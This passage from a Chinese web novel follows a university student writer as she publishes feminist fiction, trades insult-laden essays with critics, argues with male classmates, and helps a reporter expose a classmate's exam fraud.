谢欣然心细认真,搞校对是一把好手。马招云和张小凤非常光刻苦认真,风格中规中矩,四平八稳,写材料搞学术研究应该都可以,但写小说总觉得差了点什么。 魏秋月总结道:“也就是说我以后的方向应该是文学评论,招云和小凤可以往学术研究上靠。” 于蓝问道:“那我呢?” “你应该去当领导。” “至于欣然,我觉得她适合当编辑。” “咱们宿舍最有可能是在文学上写出成绩的就是老四和老二了,你俩要努力了,多写点作品好让我评论。” 宋知南说:“我们大家都有光明的未来,魏姐你以后去从政,小凤和招云就留在大学当老师搞学术研究,于蓝先从政再从商,欣然从政搞研究都可以。我和清波就来颠覆文坛。” 大家嘻嘻哈哈:“哎哟,这关键的岗位都被咱们宿舍给占了。” “咱们都听老四的,老四天生聪慧。” “好。” 301宿舍的女生大体上相处得还算和谐,但这么多人聚在一起难免会有摩擦和小矛盾。 比如魏秋月打呼噜太响,张小凤总是忘了洗脚,于蓝上下床时总是地动山摇,平时也喜欢大呼小叫,马招云爱磨牙说梦话,谢欣然有洁癖,宋知南对环境安静有要求。 好在大家的性子都还不错,有问题的虚心接受意见,也愿意去做出改变。提出问题的也愿意多宽容体谅。 张小凤在大家的帮助和督促下,养成了良好的卫生习惯。 魏秋月知道自己呼噜声太响,索性晚一些睡,等大家都睡着了,她再睡。于蓝的动作也变得轻柔许多。 谢欣然做好自己的卫生,尽量少管别人。宋知南写作时尽量去图书馆和自习室,打腹稿时就在学校东边的树林里,一边散步,一边构思,饿了就到东门去买点吃的。 在宋知南的帮助下,赵清波的散文《春雨》在《河西文艺》上发表了,得稿费9块,她买书买杂志花了6块,请客花了3块。 继赵清波之后,301宿舍的女生又接到了孟金秋的请客邀约,孟金秋要请她们八个人吃饭,陪客是祝景星、苏星。 宋知南过去问道:“孟同学,你是有什么事要找我们帮忙吗?” 孟金秋性格内向,跟女生一说话就脸红,他不敢看向宋知南的眼睛,看着自己的脚尖说道:“我想请你吃饭,向你请教写作上的问题,又怕只请你,你不好意思来,就、就索性把大家一起请了。可我自己也不敢来,就只好拉着祝同学和苏同学一起壮胆,请你们一定要给我个面子。” 宋知南说:“没事,咱们毕竟是同学,你有事直接跟我说就行,请客太破费了。” 苏星赶紧替孟金秋说话:“我觉得咱们这么一大群人一起吃饭,应该没事的。宋同学你就答应了吧。” 祝景星也说:“我打算跟孟同学一起请你们,毕竟你上次也请我们吃了肉包子嘛。” 苏星忙说:“也算上我,我也吃了宋同学的肉包子。宋同学,你要是觉得过意不下去,下次还请我们吃肉包子。” 宋知南跟姐妹们商量一下,大家伙笑着说:“人家醉翁之意不在酒,在你,你要是觉得行,咱就一起吃。” 宋知南考虑片刻最终答应了,不为一顿饭,就为了分化班里的男同学,她这人心善,见不得他们跟孙耀祖那样的人沆瀣一气。 饭桌上,孟金秋羞涩得跟刚进门的新媳妇似的。张小凤跟他一比都显得挺活泼开朗。 “宋同学,你能帮我看一下稿子吗?” “可以,你把稿子给我,我抽空看看。” 孟金秋扭扭捏捏地拿出自己的习作,宋知南大概看了一眼就放进了书包里,打算晚上有空再认真看。 饭菜陆续端上来,孟金秋热情又羞涩地招呼大家吃饭。 苏星年纪小性子也很活泼,没那么多忌讳,跟魏秋月于蓝她们聊得挺开心。 祝景星一直在跟宋知南聊文学。 “宋同学,我看很多杂志都复刊了,我朋友那里有最新一期的《果城》和《现代》,你要看吗?” “可以呀,以后咱们可以交换杂志看。” “行。” 吃完饭,回到宿舍,忙完自己的事,宋知南开始看孟金秋的稿子,他这篇文章写得是怀念家乡的散文,文笔还算优美,情感也算细腻。 宋知南拿了一张稿纸,在上面写下自己的评语和几条修改意见,并建议他向地级、省级杂志的散文栏目投稿。 她一看完,魏秋月等人也要看,她们的评价跟宋知南差不多。 “我记得孟同学在做自我介绍时,说自己爱好文学,原来是真的呀,确实有点水平。” “他咋那么害羞呢?今天吃饭时,脸一直是红的。” 宋知南说:“我比较欣赏害羞安静的男生,男孩子文文静静的多好。” “好你个老四,原来你的口味这么独特。” …… 第二天,宋知南就收到了李群英的挂号信,“我的宋作家,你可能要红了,你要做好红的思想准备。已经有多家杂志社要求转载你的小说,其中就包括《燕京文学》、《民众文学》和《九月》,这帮编辑也真奇怪,当初给他们递稿,他们不要,现在却要转载。 对了,我们杂志社受你的启发,也有了自己的定位,我们比不上《大众文学》、《九月》这样的老牌大杂志,我们决定另辟蹊径,准备以新锐杂志的姿态屹立于首都杂志圈,我们现在杂志是半月刊,每月2期,急需稿子,请你这个新锐作家多多给我们赐稿。下期稿费我帮你争取到了千字10块。宋大作家,请和我们杂志一起成长。苟富贵,互相旺,你说过的话千万不要忘。对了,我已经报名了电大课程,咱们一起好好学习,天天向上。” 宋知南握着钢笔,假装手里捏根烟,陷入了深沉的思考当中。 接下来,要写什么呢?还是继续呼唤救救妇女吧。 但也不能光呼唤,还得写出有力量的女性角色。不能总把女性放在受害者的位置上,也不能有意无意地让她们成为客体,她们得是叙述的主体,她们得有主观能动性。 女主角可以好也可以坏,她的性格可以刻薄可以洒脱可以幽默,她不能总是充当别人的陪衬,不能一上来就是无私奉献的,总是沉默又能干的,总是牺牲自己成全别人,她得敢让别人牺牲。 女主角可以经历苦难,但又不能只写她的苦难,更不能像某些男性作者那样,用一种猎奇的心态去观赏品鉴女性的苦难。人生确实苦难重重,但女主角就是敢于与命运搏斗,生活没放过她,但她也没放过生活。 宋知南决定写一个嘴毒心硬又好斗的无产阶级斗士。 女主角唐知北,长相中等不偏上,嗓门大,力气大,会骂人,能打架。她聪明好学,幽默智慧,为人大气讲义气,既有才气还有匪气。 她前劲十足,从托儿所开始打架就没输过;后劲更足,与天斗与地斗与人斗,与命运几番交手,互有胜负,但从未认输。 她在工厂与奇葩领导同事斗,在大学与满脑子封建思想的老师斗,她就像迪迦奥特曼一样,她的使命就是战斗。这篇小说名字就叫做《女人的风格》。 第136章 写完《女人的风格》, 再搭配一篇男知青与村里小芳的故事。 淳朴善良的农村姑娘小芳被举止斯文、长相俊秀的男知青吸引,为他洗衣做饭, 帮他干农活,帮他排解苦闷。男知青不喜欢小芳,但又需要她,两人恋爱结婚,小芳很快就有了身孕,就在小芳期盼着孩子的到来时,高考恢复了。小芳大着肚子全力支持男知青考大学,男知青考上了大学,小芳却失去了丈夫。男知青一去不复返,在城里娶妻生子,而小芳却在村里带着孩子苦苦支撑, 艰难求生。 多年以后, 男知青生活富足, 家庭美满,即将升迁。小芳的女儿大铮历尽千辛万苦, 考上了大学进了城, 父女相见,男知青追忆当年,感慨万端,忍不住潸然泪下,他说他对不起小芳和大铮,以后会弥补她们。 就在大家以为这是一个大团圆的结尾时,大铮却在关键时刻揭穿了渣父抛妻弃女的可耻行为, 男知青的现任妻子痛恨他的欺骗和隐瞒,果断跟他离婚。男知青名声受损, 升迁受到影响。 男知青指责大铮为何如此绝情,大铮冷笑道:“我不是你的女儿,我只是你留下的孽债,我来找你不是要跟你相认,而是来讨债。” 这篇小说取名为《男人的孽债》。 宋知南打好腹稿后就开写,很快,她就进入了忘我的创作状态, 五千汉字是她的兵马,她指挥着这些士兵在稿纸排兵布阵。 宿舍里的姐妹们一看宋知南要写作了,自觉地安静下来,连脚步都变轻了。 《女人的风格》宋知南起初只打算写3万字,可是没搂住,越写越长,从短篇变成了中篇又变成了长篇,按照杂志的字数规定,超过3万是中篇,超过8万字就是长篇。《男人的孽债》超过了四万字,是个中篇。 这两篇投给《燕京文艺》不太适合,它一般只收短篇小说,宋知南重新给它写了一篇《女人就是太阳》。 《男人的孽债》投给《现代》,《女人的风格》先投给《九月》,如果不过,再投给《播种》和《钟城》。 她现在要做的是广撒网,目标是先发表,要赶紧抢占先机。 伤痕文学之后,还有反思文学、寻根文学、改革文学,接下来好像是先锋小说和新写实小说。 每个时期她都要写出几篇代表作,她要争取做到哪里都有她。只要她一直在桌上,她想吃的那盘菜总会转到她面前。她要让那些后世的评论家们怎么都绕不过她。看一篇小说觉得不适应不习惯,多看几篇不就习惯了?他们应该学会适应社会,而不是让社会适应他们,而她就是这个社会不可分割的一部分。 宋知南先写出初稿,再粗修一遍,最后精修定稿。三篇稿子整完,已经是十天之后了。 这些日子,宋知南除了上课,就一直埋头写稿。学校里的玉兰花开了,她没都注意到。 大地春回,天气转暖,同学们脱下了厚重的棉衣,换上轻便鲜亮的春装,宋知南也换件红色短风衣。 宋知南一走进教室,就引来了大家的注目礼。 体育委员李长胜贱贱地一笑:“宋知南,你穿上这件衣服,只要不开口说话,其实也挺像个淑女的。” 教室室里传出一阵欢快的笑声。 宋知南翻了个大白眼:“李长胜,你不说话时像个二愣子,一开口又傻又贱。” 杠精值20。 李长胜继续说道:“宋大作家,你的小说我昨天熬夜拜读,但是说实话,我不太理解,也不赞同你文里的话。” 宋知南淡然一笑:“以你的智商和欣赏水平,你理解不了那就对了,你哪天要是理解我赞同我,我就该反思反思了。” 杠精值加20。 继李长胜之后,生活委员周鹏也跳出来说:“宋同学,你是班干部,心胸要宽广些,不要那么尖锐。你这人别的都挺好,就是这张嘴太厉害了,眼睛里揉不下沙子。” 宋知南:“来来,我往你眼睛里撒一把沙子,你试试别揉,谁揉谁是狗。” 杠精值20。 于蓝作势要起身:“我去外面抓把沙子扔到周同学眼里试试。” 大家轰然大笑。 魏秋月说道:“你们这些人,把主要精力放在学习上吧,别期中考试考不过我们,又说三道四。一个个自己地里长荒草,还关心别人家地里土豆大小。” 张小凤也鼓起勇气发言:“我认为秋月说得对。” 李长胜拉着周鹏:“算了,咱们好男不跟女斗。” 宋知南冷笑道:“不跟女斗还天天挑事?斗不过就说这句话,你们自己不觉得可笑吗?” 杠精值40。 于蓝接道:“李长胜屡战屡败,还总来挑战,你以后别叫长胜了,叫长败吧。” 宋知南笑着说:“批准了,就叫他李长败。” 大家插科打诨,嘻嘻哈哈。 孟金秋拿着一本杂志进来了,他神情激动地看着宋知南,想搭话又在犹豫。 宋知南问道:“孟金秋,你的文章发表了?” 孟金秋用力点头:“嗯。” 大家嗷地一声冲上去抢杂志。 孟金秋郑重道谢:“宋同学,谢谢你的指点。” “不客气,孟同学,你继续努力。” 继赵清波和孟金秋之后,陆续有同学发表作品,一般都是小小说、散文这样的豆腐块。 像宋知南这样一上来就敢投中长篇的没有。 之后几天,宋知南是喜讯连连。 《女人就是太阳》在《燕京文艺》上顺利刊登,之后《九月》也刊登了她的《女人的风格》,不过要分三期连载。《现代》刊登了她的《男人的孽债》。 三篇小说共获得稿费1000元,之后各家杂志争相转载,转载也有稿费,宋知南又赚了第二笔稿费,她的稿费收入已突破1500元,相当于普通工人3年的收入。 大家都羡慕麻了。 魏秋月和张小凤提醒宋知南,一定把要钱藏好,这么一大笔钱实在让人不放心。 张小凤催着宋知南去银行存钱:“快去存吧,要换了我都睡不好觉。” “行,我今天就去存。” 河西大学的学生争相传看这几篇小说,书报亭的杂志刚摆上架就被人一抢而空。 女生们比较喜欢《女人的风格》,有当插队经历的对《男人的孽债》更有共鸣。 校园里到处都有人在谈论这篇小说。 “这个女主角是不是太刻薄太好斗了?从没见过这样的女主角。” “这样才新颖,以前的那些都看腻了。天天讲无私奉献,女主角苦得跟黄连似的。” “可是她对里面的男人太无情了,我都替那些男人心疼。” …… 杂志社寄来了两麻袋来自全国各地的读者来信。 写信的多是女读者。 “看了你的《他的家,她的冢》后我哭了好久,我以前心里苦,但不知道为什么苦,更不知道跟谁诉说。现在我知道了我的苦是因为我父母偏心。我本来打算以后要更努力工作赚钱,加倍孝顺他们,让他们看到我的好。看了你的小说后,我不想这么做了。我要为我自己打算。我决定搬出去住,我决定要去参加高考,我要圆我的大学梦,我不想再做谁的耗材。” “宋同志你好,我在《杂文周刊》上看到了你的文章,你骂得真是酣畅淋漓,入木三分。我分别把那两篇文章拿给我爸妈看,我爸妈非常生气,因为你戳到他们的肺管子上了。” “宋同志,我不赞同你的观点和看法,我觉得你骂父母骂得太狠了,他们也不容易……” …… 很多老师对于宋知南这个大辩论家也更加宽容了。作家嘛,这种性格很正常。没有个性能当作家吗? 宋知南再质疑某些老师时,他们不以为苦,反以为乐。 还有的老师问宋知南:“宋同学,你是对我的课有什么意见吗?为什么不杠我?” 宋知南:“老师,你的意见我都赞同啊,我也不是谁都杠的。” “哦哦,原来如此。” 经过一段时间的发酵,宋知南的名声更上一层楼,自然而然地也引起了一些评论家的注意。 很快,那些不善创作只擅长批评的批评家们开始大肆批评宋知南。 首都非知名作家、著名喷子赵远打响了批判宋知南的第一枪:《女人的风格?我看到的是大女人主义》。 河西省这边也有人遥相呼应,叶致秋一口气写了两篇评论:《要有女人的风格,你首先得是个女人》和《男人的孽债,女人的偏见》。 叶致秋痛心疾首地写道:“《女人的风格》里充满了大运动中红x兵的那种极端好斗的思想,她塑造了一个让人十分不适的女主角。 唐知北此人自私强势、刻薄绝情,不孝顺父母,不团结同事,所到之处,硝烟弥漫。从她的身上,我看不到一点我国女子的传统美好品德。 不,我心目中的女孩子绝对不应该是这样的。她们应该是文静娴雅的,是温婉柔顺的,是美好善良的,而不应该如此粗俗无礼、凶悍好斗。” 各大报纸杂志一看有人要骂战,他们生怕事情不够大,纷纷去推波助澜,把事情搞得更大。 周日早上,于蓝王琳从食堂吃完早饭后,气呼呼地跑进宿舍嚷道:“大家快看,有人在报纸上骂老四。” 宋知南翻开报纸一看,好家伙,这个周末的娱乐有了,就是骂人。她们原计划去爬山的,现在只能取消了。 宋知南说道:“姐妹们,爬山活动取消,我要写文章骂人,你们去吧。” 大家仗义地说道:“我们也不去了。你尽管写,我们给你搞好后勤。” 做为班长的于蓝开始给大家分派工作:“招云和欣然,你俩帮老四校对修改;老大和小凤,今天我出钱出粮票请客,你俩去学校外面的饭店订四菜一汤;清波,你跟我去搜集买报纸和杂志,回来帮老四整理一下。” 大家齐商量一会儿,决定慷慨解囊,集资请客。 于蓝说完就带着赵清波去买报纸和杂志,魏秋月和张小凤也跟着出去,马招云和谢欣然收拾书桌,铺开稿纸,把钢笔吸饱墨水,等着宋知南写完,她们好修改校对。 宋知南灵感爆发,她写别的文章可能会有卡顿,但骂人从来不卡,如行云流水一般自然顺畅。 回骂的文章没必要太长,关键要稳准狠,要骂到点子上。 半小时后,她的第一篇谩骂式回复就出炉了:《批评人类,你首先得是个人》。 又过半小时,第二篇稿子也写出来了:《那赵家的狗为何总是狂吠?》。 “我不明白为什么那赵家的狗总是对我狂吠? 大抵是因为某些狗吃惯了屎,它无法接受这世上还有别的食物,人扔给它一个肉包子,它的狗脸上满是惊诧:怎么可能不是屎?你为什么不给我屎?不行,我已经吃了几千年的屎,我以后也要继续吃。你不让我吃,我就咬你。” 等到于蓝和赵清波抱着一摞杂志和报纸回来时,宋知南已经开始写第三篇了:《震惊:有人想捂女作者的嘴!》。写之前,她还读了几篇叶致秋以前的文章。 她飞快地写道:“我掩着口鼻,忍着恶心,翻看叶致秋以前的文章,只见里面密密麻麻地写满了三个字:吃女人。他回忆中的母亲没有名姓,只是个勤劳贤惠的符号;他表面上感激姐姐们的奉献牺牲,实际上却心安理得的享受。 我简直不敢相信这是新龙国的男人写出来的文章,大清亡了几十年,大清的僵尸却跑出来了。 我佩服此君,这样过时了几百年的言论也敢拿出来说,我仿佛看到了我太奶奶端出来剩了一百年的剩饭,馊气冲天,闻之欲哕。” 第137章 宋知南写完初稿, 马招云和谢欣然负责校对誊写。 一个小时后,魏秋月和张小凤提着饭盒回来了, 张小凤还贴心地给宋知南准备好了信封和邮票。 “南姐,你写完我们就去邮局帮你寄出去。” 于蓝说道:“首都那边的寄挂号,河西这边的我亲自送到《河西日报》,让他们尽快发稿。” “我看行。” “收拾桌子,准备开饭,吃完饭咱们接着干。” 吃完饭,大家收拾桌子,宋知南继续骂人。 《有些男人比女人更懂女人》,《孔子不懂,老子不懂,就孙子最懂》。 宋知南的文章很快就刊登在报纸和杂志上。 首都的赵远看到宋知南的回骂, 虽然生气愤怒但尚能挺得住, 毕竟, 做为喷子一定会被别人回喷,时间一长, 心理素质就锻炼出来了。 河西这边的叶致秋就承受不住了, 他气得眼前一黑再一黑,“孔子说得对,唯女子与小人难养也。”骂完,他就气病了。 宋知南每天都能收获不少杠精值,就连睡梦中,杠精系统都在不停地播报,宋知南嫌她影响睡眠, 直接静音,每天早起查看一下杠精值就行。 批评家的杠精值是250, 这真是一个好数值。普通读者的杠精值是10。 宋知南算了一下,如果用杠精值兑换商城上的便宜商品倒卖出去,她可以轻松买下几套房子了。不过现在局势还没有彻底明朗,做小生意还是有风险的。况且,现在市场上几乎没有可交易的房子,过两年再说吧。 河西大学的老师看到宋知南跟别人骂战的文章,不禁心有余悸,看来,宋知南对他们还是嘴上留了情的,毕竟师生一场嘛。 魏书群自然也看到了报纸,他的眉头皱得能夹死一只马蜂。他是想要河西大学扬名全国,但并不想以这个方式出名。 他从来就不喜欢这些爱耍嘴皮子的人,他喜欢个性沉稳踏实的人。 看来,这个宋知南以后是不能留校了。她当学生,已经把全校老师弄得谈之色变,要是当上老师,那场面简直无法想象。 吕会琴看了这些文章,不由得摇头叹息,这些文人的嘴也太损了,这哪叫文学批评,这不是指着鼻子骂人吗? 这些人年纪挺大,也略有些名气,做为长者不应该有点长者之风吗? 你批评后辈不是不可以,但你得批评得有理有据,最好在批评的同时附带上中肯的建议,否则光批评有什么意义? 吕会琴想了想,让人给宋知南送了一套《古文观止》和《唐诗宋词三百首》、《李清照文集》,希望她能挺过这次的狂风暴雨。 继吕会琴后,胡湘南也送来了一本《外国名作家轶事》,里面还夹着一张纸条:“当你有了观点的时候,你就有了敌人。所有的作家都会经历这一遭,老师希望你经受住这次考验。” 教《现代文学史》的陈光苏老师也给宋知南送来了鼓励:“宋同学,你离《当代文学史》又近了一步,骂你的人越多,说明你越红火。干写作这行的,不怕人夸不怕人骂,最怕的是无人理你。” 宋知南一一收好这些书籍和纸条,这些老师们真可爱呀。就连周好古也给她送来了一袋肉包子,“好好补充体力,去回骂他们吧。” 至于孙耀祖李长胜等人则是高兴得跟过年似的,终于有人替他们骂宋知南了,让暴风雨来得再猛烈些吧。 河西大学的女生们看到宋知南骂人的文章,不说全文背诵也差不多了,还有不少像记课堂笔记一样把她的话记下来,以后跟人吵架好用上。 果然,大学绝对不是白上的,不光从书本和老师那儿学到很多东西,这些同学有真东西也是真教。希望宋同学一定要挺住。 宋知南成了全校女生的精神领航员和团宠,隔三差五就有人送东西来,有送吃的喝的,还有送稿纸和杂志的。 宋知夏何黛她们也看到了,赶紧写信慰问,宋湘又给宋知南寄了一件衣服以示安慰。 那些考上大学的纺织厂女工也纷纷寄来当地特产表示慰问和支持。 一时间,传达室成了宋知南的专场,她的包裹和信件堆成了小山。 宋知南每次拿包裹都得全寝室一起出动,拆包裹是301宿舍女生最爱干的事情,里面有很多好吃的,宋知南一个人吃不完,一大半东西就到了她们肚子里。 大家吃得饱,精气神也更足,走路咚咚响,出去就是一支气势昂扬的队伍,十分引人注目。 年纪最小,个头也最小的张小凤现在长高了一点,气色变红润了。 …… 钱仪自从上次跟宋知南在课堂上争辩一番后,再来中文系上课时,说话谨慎许多。 为此,他还不得不改进了一下自己的讲义,水平略有提升。 这一节课讲的是鲁迅,钱仪点名提问:“宋知南同学,大家都认为你的文风跟鲁迅先生有点像,你认为呢?” 宋知南站起来朗声答道:“我很喜欢鲁迅先生的文章,确实受了他的影响。” 宋知南的话还没说完,孙耀祖就迫不及待地发言:“宋同学,你看不起男人,厌恶男性,但你还是受了男性作家的影响,你觉不觉得你有点自相矛盾?” 李长胜、白光宗等人小声起哄,以示支持。 宋知南笑着说道:“首先,我来纠正一下孙耀祖的话。我并不是看不起所有的男人,也不是厌恶所有的男性。我只是看不起那些头脑空空、思想落后还没有自知之明的某一类人。我不厌男不厌女,但我厌坏厌蠢。我建议孙同学好好学一下逻辑学,比如我说我讨厌咬人的恶狗,你就不能说我厌恶所有的狗;比如说我讨厌你,你就不能说我讨厌所有的男人。咬人的恶狗代表不了所有的狗,你孙耀祖也代表不了所有的男人,这个逻辑你能听明白吗?” 杠精值20。 于蓝说道:“我赞同宋同学的话,她的逻辑很清晰。” 孙耀祖刚要张口反驳,宋知南接着说道:“我骂某些跟鲁迅先生同一性别的人,跟鲁迅先生本人有什么关系?如果先生还活着,肯定会说我骂得对,因为他文里骂的也是那些人。说到自相矛盾,我倒觉得某些男人很矛盾。所有男人都是女人生的,这句话应该没有人反对吧?” 在场的没有一个人反对,除非有人能拿出证据证明他是男人生的。 当然,如果孙悟空在场也能提出反对意见,因为人家是从石头缝里蹦出来的。 宋知南接着往下说,“明明所有男人都是女人生的,但是,却有很多男人看不起女人,看不起他们的母亲;明明这个世界就是从女人的胯、下诞生的,但这个世界却想着各种法子压迫歧视女人。你们说,这个世界是不是很荒谬很不人道? 在某种程度上,我们某些人类连畜生都不如,反正我没听说过,小公老虎看不起母老虎,也没听说过狗儿子看不起狗妈妈。但我听过很多好大儿看不起自己的母亲。 要按照孙耀祖的逻辑,你们男人既然看不起女人,为什么还要靠女人生下来?你们真有志气就不该出生,即便生下来也应该赶紧自裁,这样才能表示你们的男子汉气概。” 杠精值660,她一下子杠到了29个人,连老师在内。 教室里突然安静下来,接着,于蓝张小凤等人拼命地鼓起了掌。 苏星等几个男生犹豫片刻也跟着鼓掌。 钱仪老师在讲台上居高临下地看着这帮学生,他们有的一脸呆滞,有的抓耳挠腮,有的满脸激动,有的无奈苦笑。 李长胜站起来说道:“我觉得宋同学是在诡辩,但我又不知道怎么反驳她。” 孙耀祖也连忙说道:“对,宋知南是作家,而我们只是普通的大学生,她这样骂我们是胜之不武。” 马招云出声反驳:“她胜了,你们说是胜之不武;那她要是不出声,你们是不是得说,她连我们都辩不过,总之你们怎么说都有理。” 赵清波接着说:“孙同学,李同学,如果我是你们,我就不跟宋知南辩论。就像在战场上,你明知打不过,还非要挑衅,你不挨打谁挨打?” 魏秋月笑着说:“从孙同学的名字来看,他在家里应该十分受宠,他的妈妈和姐妹们肯定是什么都顺着他,这就导致了他养成了一个习惯,就是觉得别的女同志也应该顺着他让着他;至于李同学,应该以前跟人辩论总是胜利,所以现在特别接受不了失败。其实我想劝劝两位同学,你们都接受现实吧。孙同学,我们都不是你妈你姐,不会惯着你;李长胜,你从你的世界里醒过来吧。” 宋知南用欣赏的目光看着魏秋月,并带头鼓掌,其他女生随后跟上。 大家的争论越来越激烈。 就连一向沉默寡言不敢发言的张小凤也终于鼓起勇气发言。 “我觉得孙同学应该改变一下自己的思维习惯,毕竟城里跟乡下不一样,大学跟中小学也不一样。” 孙耀祖像是被踩着尾巴的猫一样,反应有些应激:“张小凤,你也是乡下出身,你怎么也看不起乡下人?你不要忘本。” 张小凤急声辩解:“我不是这个意思,我是说你得改变你自己,要敢于面对自己的不足,精进学习。” 他们从小山村考到大学,见了世面,开了眼界,难道不应该学习大城市先进文明的一面吗?她以前卫生习惯不好,姐妹们提了,她就改了;她普通话不标准,现在也在悄悄练习;她阅读量不大,现在也在拼命读书。她说这番话是出于真诚,但孙耀祖还是曲解了她的意思。 宋知南看着张小凤说:“不用跟他解释,以他的智商,他听不懂你的话。” 于蓝小声嘀咕:“就这种脑子怎么考上的大学。” 钱仪眼看着大家越吵越激烈,赶紧制止:“同学们,冷静一下。这只是正常的课堂辩论,大家都克制一下。宋同学,我真的只是想提问你一下,没有想把你引到舆论旋涡的意思。” 钱仪都有点怕了,这帮同学怎么一上他的课就激烈交战,他都能闻出空气中的火药味了。 钱仪讲完课后匆匆离开。 他一回到办公室就跟周好古抱怨:“这次又是硝烟弥漫,你说这到底是怎么回事?” 周好古笑道:“你闻到的是硝烟味,我闻到了包子味。” 钱仪苦笑:“还是让我闻包子味吧。” 不用周好古问,钱仪就主动说起了事情的经过:“老周,这次的争论真的不是我引起的,我只是很正常的提问一下宋知南而已。” 周好古安慰道:“不用介意,习惯了就好了。有宋知南在的地方就容易有辩论,正如有井水饮处就有柳永的词一样。” 中文系是硝烟四起,报纸和杂志上也是一样。 李群英直接给她打来电话,先是恭贺:“宋大作家,你真要的火了。我们总编说了一句很有哲理的话:所谓的火就是把人放大火上炙烤,你一定要挺住,无论写得多好的作家都有人骂。” 宋知南不在意地说:“没事,我的第二生肖是凤凰,生来喜火,大火非但烧不死我,还能让我浴火重生。” “我最佩服的就是你这一点。宋大作家,你这个心理素质已经具备了大火的命。 对了,已经有人开始向我打听你的消息了。我们主编非常遗憾痛心,为什么你那两篇文章不投给我们?” 宋知南说:“我本来想投给你们,可是你们杂志一般收的是短篇,我那两篇是一个是长篇一个是中篇,不适合你们杂志。” 李群英连忙说:“我们主编说了,你的小说可以破例,如果太长就分上中下三期连载。” “行,以后我会优先投给你们。” 李群英电话约稿:“一定要先投给我们,我现在是你的责任编辑,等我当上主编,我会帮你争取更大的权益。” “行,你要好好努力。” “对了,那个钟山对你怎么样?他们家没人欺负你吧?若有人欺负你,你一个电话打过来,我坐飞机去帮你揍他们。” 李群英大笑:“坐飞机太麻烦了,你还是坐火车过来吧。放心,没人欺负我。对了,我怀孕了。” 宋知南没有说恭喜,只是提醒她一定要注意身体,工作别太累。 李群英:“没事的,我反应不大,不影响工作和学习。你也要好好学习,有空多写稿,记得多给我投稿。我挂了哈。” 宋知南中午刚接了李群英的电话,晚上九点钟,报刊亭的刘阿姨又扯着嗓子在楼下喊宋知南的名字。 宋知南穿着拖鞋蹬蹬下楼去接电话。 电话那边传来胡记者的喘气声:“宋同志,我今天去你说的那个地方了,我他大爷的被人打了。” 宋知南怔了一下,很快反应过来:“你去孙家堡了?” “对,就是那里。” 宋知南怕走漏了消息,她看了一眼老神在在的刘阿姨,便笑着说道:“阿姨好,我哥想跟我说一下他找对象的私事,他这人比较害羞,你能不能回避一下?” 刘阿姨爽快答应:“行,我到那边去转转。” 她人一离开,宋知南就赶紧问道:“快说说怎么回事?” 胡记者说道:“我到孙家堡后,先去打听一下孙耀祖上大学的事,有个女知青愤愤不平地呸了一声,说他也配。 多年的记者生涯让我觉得里面肯定有新闻可挖,我就继续问,那个女知青说,孙耀祖不要脸,孙家人不要脸,抄袭作弊。 他们高考时条件很差,在公社中学,桌子不够用,两人一桌,孙耀祖的同桌是一个女知青,她以前是省重点中学的,成绩特别好。孙耀祖要抄她的卷子,她自然不愿意。孙耀祖的家人就威胁女知青,如果不让抄,就卡她的政审,让她上不了大学。哦对了,孙耀祖的大伯就是孙家堡的大队书记。 女知青的出身不好,就怕政审通不过,只能妥协。同样受到威胁的还有前桌的一个男生,同样出身不太好。孙耀祖抄袭两人的□□,考上了河西大学。但这两个人都没有通过政审,两人去告状,被硬压下来了。我还想深入调查下去,孙家堡的人听说了风声,哗啦啦一下来了十几个人把我团团围住揍我,幸亏我跑得快,要不然我的麻烦就大了。” 宋知南听胡记者说完,赶紧好声安慰:“老胡,你真是深入虎穴啊,不过得到虎子的也是你。我有预感,这次事件之后,你一定会成为国内名记。我建议你多叫几个人,人多力量大。” 胡记者说道:“你说得对,光我一个人不行,我得去多叫几个人。宋同志,你就等着我的好消息吧。” 第138章 胡记者吸取了教训, 回去之后,联合《青阳晚报》、《河东日报》、《河西晚报》的各路记者, 大家组成一支队伍,浩浩荡荡地去了孙家堡。 这次的阵仗太大,人数太多,孙家堡那边是想压也压不住,毕竟他们的能量还没大到这种地步。 宋知南知道事情有所进展,还不是从胡记者这边得知的,而是从孙耀祖那慌张惶恐的神色中发现的。而他之所以那么慌张,是因为他接到了一通从老家打来的电话。 孙耀祖惊慌失措、坐立不安,很快就找到周教师说他妈病重,他要请假几天回去看看。周好古见他这副样子,信以为真, 好声安慰他几句, 让他回去看看。 孙耀祖临走时, 把行李铺盖全都打包带走了。 跟他同宿舍的同学很是好奇:“耀祖,你怎么把行李全带走了?你过几天不就回来了吗?” 孙耀祖强颜笑道:“我妈病得很重, 我可能得在老家多呆一段时间。再见了, 同学们。” 孙耀祖匆匆离开了河西大学,宋知南一直在默默观察着孙耀祖,一看他这样就知道胡记者那边很顺利。 她也得在这边煽风点火,顺风吹火,那是一点就着。 毕竟,新闻曾经是她的老本行,她还换了个马甲叫神州群众。 孙耀祖离开后的第三天, 同学们就在报纸上看了几则让人惊掉下巴的新闻:《孙家河公社迫害知青,团伙作弊!》、《救救孙家堡被迫害的知青》、《孙家堡有个土皇帝》。 后面还有两篇更劲爆的《全公社唯一大学生竟然是假的!》、《粉刷的乌鸦白不久——孙耀祖作弊事件大揭底》, 作者叫神州群众。 新闻中的主人公叫孙耀祖,就读于河西大学中文系。 同学们互相传阅、询问:“真的假的?这里面说的就是咱们学校的孙耀祖?” “没想到啊,孙耀祖竟然作弊。” “怪不得他考试总倒数。” “孙耀祖呢?快去问问他怎么回事。” “他前天刚请假回去,说他妈病重了。” “我看不是他妈病重,而是怕事情曝光后,他无法面对同学们的目光。” …… 李长胜和白光宗一万个不相信:“孙耀祖怎么可能作弊呢?” 虽然才开学不久,但三个人之间的友谊进展迅猛,经常同进同出,这突然间曝出他作弊抄袭的事,他们真的难以置信。 随着报道的深入,各大报纸也披露出更多的细节。 原来,孙耀祖家里有5个姐姐,每个姐姐出嫁时都会要一大笔彩礼,孙家因此成为当地有名的富户。怪不得孙耀祖出手那么阔绰。 孙耀祖的大伯是孙家堡大队的书记,在孙家堡一手遮天,经常向知青们索要财物,谁要是不给他送礼,他就给谁穿小鞋。 他的大儿子二儿子和几个侄子都是靠着他的动作,上了工农兵大学。他小儿子想娶某个女知青,女知青不愿意,他就卡着女知青不让她报名考试。 孙耀祖的事情曝光后,也顺带救了那个女知青。 孙耀祖的大伯犯了组织考试作弊罪、徇私舞弊、贪污、渎职、破坏上山下乡罪等罪,正在等待宣判。而经他的两个儿子和几个侄子也被学校勒令退学,灰溜溜地回家了。 孙耀祖这次不是耀祖了,是坑祖和灭祖。所以名字不能乱起,一不小心就起反作用。 